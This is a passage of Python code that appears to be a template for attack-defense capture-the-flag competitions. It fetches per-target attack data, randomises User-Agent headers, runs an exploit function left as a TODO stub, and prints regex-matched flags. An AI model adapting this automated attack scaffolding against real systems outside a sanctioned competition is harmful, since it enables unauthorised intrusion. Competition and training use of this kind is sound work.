return data.get(target_ip, {})
except requests.RequestException as e:
print(f"[-] Failed to fetch attack data: {e}", file=sys.stderr, flush=True)
return {}
except ValueError as e:
print(f"[-] Invalid JSON received: {e}", file=sys.stderr, flush=True)
return {}
def exploit(target_ip, team_data):
flags = set()
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
# -------------------------------------------------------------------------
# TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE
try: # example
token = team_data.get("token")
if token:
headers["X-Auth-Token"] = token
url = f"http://{target_ip}:8080/flag"
r = requests.get(url, headers=headers, timeout=4)
for flag in FLAG_RX.findall(r.text):
flags.add(flag)
except requests.RequestException as e:
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
# -------------------------------------------------------------------------
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
team_data = get_attack_data(target_ip)
try:
found_flags = exploit(target_ip, team_data)
if found_flags is None:
found_flags = []
elif isinstance(found_flags, str):
found_flags = [found_flags]
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()